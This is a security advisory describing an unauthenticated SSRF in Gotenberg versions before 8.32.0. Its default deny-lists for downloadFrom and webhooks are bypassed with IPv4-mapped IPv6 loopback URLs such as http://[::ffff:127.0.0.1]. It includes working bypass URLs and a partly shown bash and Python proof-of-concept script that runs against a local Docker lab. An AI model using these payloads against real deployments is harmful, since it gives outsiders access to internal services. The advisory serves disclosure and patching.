Advisory

GHSA-4vmc-gm8v-m35h

Also known as: CVE-2026-42596, GO-2026-5132

Summary

Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook

Details

Summary
The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.

Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:

  • pkg/modules/api/api.go:198-200 defines the default api-download-from-deny-list.
  • pkg/modules/webhook/webhook.go:41-43 defines the default webhook-deny-list.
  • pkg/gotenberg/filter.go:20-69 evaluates those patterns with regexp2 using case-sensitive matching.

The attacker-controlled URL then reaches outbound request sinks:

  • pkg/modules/api/context.go:208-282
  • Reads attacker-supplied downloadFrom.
  • Calls gotenberg.FilterDeadline(...).
  • Issues an outbound GET with retryablehttp.NewRequest(...) and client.Do(...).
  • pkg/modules/webhook/middleware.go:99-217
  • Reads Gotenberg-Webhook-Url and Gotenberg-Webhook-Events-Url.
  • Calls gotenberg.FilterDeadline(...).
  • Constructs a client for outbound delivery.
  • pkg/modules/webhook/client.go:39-152
  • Sends the success or error webhook request.
  • pkg/modules/webhook/client.go:155-216
  • Sends the webhook event request.

Why the bypass works:

  1. The default deny-list only blocks lowercase http:// and https:// prefixes.
  2. The filtering logic performs case-sensitive regex matching on the raw user input.
  3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like http://[::ffff:127.0.0.1]:18081/....
  4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.

Confirmed bypass used during verification:

  • http://[::ffff:127.0.0.1]:18081/page_1.pdf
  • http://[::ffff:127.0.0.1]:18082/upload
  • http://[::ffff:127.0.0.1]:18082/events

This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.

PoC
One-command verification
From the repository root:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh

What the script does:

  1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
  2. Starts Gotenberg on 127.0.0.1:3000.
  3. Starts an internal-only helper listener inside the same container network namespace.
  4. Verifies downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page_1.pdf.
  5. Verifies webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
  6. Writes evidence artifacts to disk.

Expected success output:

[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener

Evidence files created by the script:

  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json
  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log

Manual evidence commands
The following commands were run after the verifier completed successfully:

jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'

Observed output:

{
  "page_1.pdf": {
    "CreateDate": "2025:02:17 14:46:38+00:00",
    "FileType": "PDF",
    "FileTypeExtension": "pdf",
    "Linearized": "No",
    "MIMEType": "application/pdf",
    "ModifyDate": "2025:02:17 14:46:38+00:00",
    "PDFVersion": 1.7,
    "PageCount": 1,
    "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
    "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
  }
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json

PoC Video:

https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3

Interpretation:

  • The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
  • The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.

verify_ssrf_poc.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
  "--pdfengines-merge-engines=qpdf"
  "--pdfengines-split-engines=qpdf"
  "--pdfengines-flatten-engines=qpdf"
  "--pdfengines-convert-engines=qpdf"
  "--pdfengines-read-metadata-engines=exiftool"
  "--pdfengines-write-metadata-engines=exiftool"
  "--pdfengines-encrypt-engines=qpdf"
  "--pdfengines-embed-engines=qpdf"
  "--pdfengines-read-bookmarks-engines=qpdf"
  "--pdfengines-write-bookmarks-engines=qpdf"
  "--pdfengines-watermark-engines=qpdf"
  "--pdfengines-stamp-engines=qpdf"
  "--pdfengines-rotate-engines=qpdf"
)

red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }

cleanup() {
  docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
  docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}

fail() {
  red "$1"
  printf '\n--- gotenberg logs ---\n'
  docker logs "$GOTENBERG_NAME" 2>/dev/null || true
  printf '\n--- helper logs ---\n'
  docker logs "$HELPER_NAME" 2>/dev/null || true
  exit 1
}

trap cleanup EXIT

mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"

if [[ ! -f "$TEST_PDF" ]]; then
  red "Missing test PDF: $TEST_PDF"
  exit 1
fi

if [[ ! -f "$DOCKERFILE" ]]; then
  red "Missing Dockerfile: $DOCKERFILE"
  exit 1
fi

if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
  blue "[1/6] Building slim verification image: $IMAGE"
  docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
  blue "[1/6] Reusing existing image: $IMAGE"
fi

blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
  --name "$GOTENBERG_NAME" \
  -p "$PORT:3000" \
  "$IMAGE" \
  --webhook-enable-sync-mode=true \
  "${PDF_ENGINE_FLAGS[@]}" >/dev/null

for _ in $(seq 1 45); do
  if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
    break
  fi
  sleep 1
done

if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
  fail "Gotenberg did not become healthy"
fi

cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread

PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()


class DownloadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/pdf")
        self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
        self.send_header("Content-Length", str(len(PDF_BYTES)))
        self.end_headers()
        self.wfile.write(PDF_BYTES)

    def log_message(self, fmt, *args):
        return


class WebhookHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-05-07 01:15 UTC
Modified
2026-06-25 18:56 UTC

Affected packages and fixes

github.com/gotenberg/gotenberg/v8

Go · All systems

Affected

  • introduced 0, fixed 8.32.0 (semver)

Fixed versions

8.32.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences